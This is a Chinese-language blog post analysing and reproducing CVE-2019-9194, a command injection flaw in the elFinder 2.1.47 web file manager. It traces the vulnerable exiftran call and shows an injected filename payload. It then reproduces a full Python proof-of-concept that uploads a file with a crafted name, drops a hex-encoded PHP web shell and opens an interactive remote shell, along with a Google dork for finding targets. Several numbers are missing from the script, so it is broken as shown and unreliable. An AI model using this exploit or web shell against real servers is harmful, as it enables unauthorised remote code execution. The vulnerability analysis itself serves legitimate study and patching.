elFinder远程代码执行漏洞(CVE-2019-9194)分析复现附:利用POC

用户5878089

发布于 2019-07-25 16:38:46

1.8K0

发布于 2019-07-25 16:38:46

关于elFinder

elFilnder是一个开源的web的文件管理器，其界面和mac系统的finder差不多，用php开发，最近这个web app曝出了一个命令注入漏洞编号是CVE-2019-9194。现在将原有的2.1.47版本下载下来分析并复现一下这个漏洞。

img

环境搭建

没有数据库，直接git上可以下载，我用的kail+php，同时，系统上还需要安装一个exiftran，用于图片转换，漏洞的核心也在这里。

代码分析

从如下网址可以看到代码的比对

https://github.com/Studio-42/elFinder/compare/2.1.47...2.1

定位到漏洞的代码：

可以清楚地看到到对文件 `elFinderVolumeDriver.class.php的修改比较有趣到文件中分析一番：新的代码是把原来的$path变量弃用了，我们首先跟进函数看对这个$path 进行了哪些处理:

if($this->procExec(ELFINDER_EXIFTRAN_PATH . ' -h') === ) {
                $cmds[] = ELFINDER_EXIFTRAN_PATH . ' -i ' . $exiftran[$count] . ' ' . $path;
            }

函数的定义如下：

    protected function procExec($command, &$output = '', &$return_var = -1, &$error_output = '')

所以$path变量最终是与之前的字符串拼接成$command变量进入procExec函数跟进函数：

protected function procExec($command, &$output = '', &$return_var = -1, &$error_output = '')
{
  .....

  $process = proc_open($command, $descriptorspec, $pipes, null, null);
  ......  
}

有一个命令执行函数proc_open 关于proc_open可以自行百度以上分析可以确定如果变量可控，则可以进行命令执行，下面分析如何进行控制变量: 在elfinder.class.php,中有如下的定义

!defined('ELFINDER_EXIFTRAN_PATH')&&define('ELFINDER_EXIFTRAN_PATH', 'exiftran');

所以这个漏洞的成立条件是目标主机安装了exiftran 然后回溯一下变量的调用方式： $path变量出现在imgRotate()函数中。全局搜索:其调用顺序是 imgRotate() resize() 是在调整大小的时候发生调用的,可以控制的变量是：hash->path 就是文件上传之后的文件名。最终执行命令的时候，执行的命令如下：

exiftran -i -9 test.jpeg

按照国外友人的分析：如果我们传入的文件名称是:

test.jpeg;touch $(echo -n 2e2e2f66696c65732f70776e6564|xxd -p -r);echo rce.jpeg

以上的命令会在相应的目录下产生一个pwned的文件。以上就是命令执行的大致过程。至于参数的传递的方式，各位看官自行寻找。

漏洞复现

搭建好环境之后直接上传一个图片：文件名为1.jpeg 如图

然后修改文件名称为：

test.jpeg; touch $(echo -n 2e2e2f66696c65732f70776e6564| xxd -p -r);echo rce.jpeg

如图

然后右键旋转图像选择90度,点击运用，发现文件下产生了pwned的文件:

POC

根据以上分析，模拟一个图片上传的过程：写出如下POC

#!/usr/bin/python
'''
# Exploit Title: elFinder <= 2.1.47 - Command Injection vulnerability in the PHP connector.
# Date: 26/02/2019
# Exploit Author: @q3rv0
# Vulnerability reported by: Thomas Chauchefoin
# Google Dork: intitle:"elFinder 2.1.x"
# Vendor Homepage: https://studio-42.github.io/elFinder/
# Software Link: https://github.com/Studio-42/elFinder/archive/2.1.47.tar.gz
# Version: <= 2.1.47
# Tested on: Linux 64bit + Python2.7
# PoC: https://www.secsignal.org/news/cve-2019-9194-triggering-and-exploiting-a-1-day-vulnerability/
# CVE: CVE-2019-9194
# Usage: python exploit.py [URL]
'''
import requests
import json
import sys
payload = 'SecSignal.jpg;echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > SecSignal.php;echo SecSignal.jpg'
def usage():
    if len(sys.argv) != :
        print "Usage: python exploit.py [URL]"
        sys.exit()

def upload(url, payload):
    files = {'upload[]': (payload, open('SecSignal.jpg', 'rb'))}
    data = {"reqid" : "1693222c439f4", "cmd" : "upload", "target" : "l1_Lw", "mtime[]" : "1552665721"}
    r = requests.post("%s/php/connector.minimal.php" % url, files=files, data=data)
    j = json.loads(r.text)
    return j['added'][]['hash']

def imgRotate(url, hash):
    r = requests.get("%s/php/connector.minimal.php?target=%s&width=539&height=960&degree=180&quality=100&bg=&mode=rotate&cmd=resize&reqid=169323550af10c" % (url, hash))
    return r.text


def shell(url):
    r = requests.get("%s/php/SecSignal.php" % url)
    if r.status_code == :
       print "[+] Pwned! :)"
       print "[+] Getting the shell..."
       while :
           try:
               input = raw_input("$ ")
               r = requests.get("%s/php/SecSignal.php?c=%s" % (url, input))
               print r.text
           except KeyboardInterrupt:
               sys.exit("\nBye kaker!")
    else:
        print "[*] The site seems not to be vulnerable :("


def main():
    usage()
    url = sys.argv[]
    print "[*] Uploading the malicious image..."
    hash = upload(url, payload)
    print "[*] Running the payload..."
    imgRotate(url, hash)
    shell(url)

if __name__ == "__main__":
    main()

运行结果如图所示：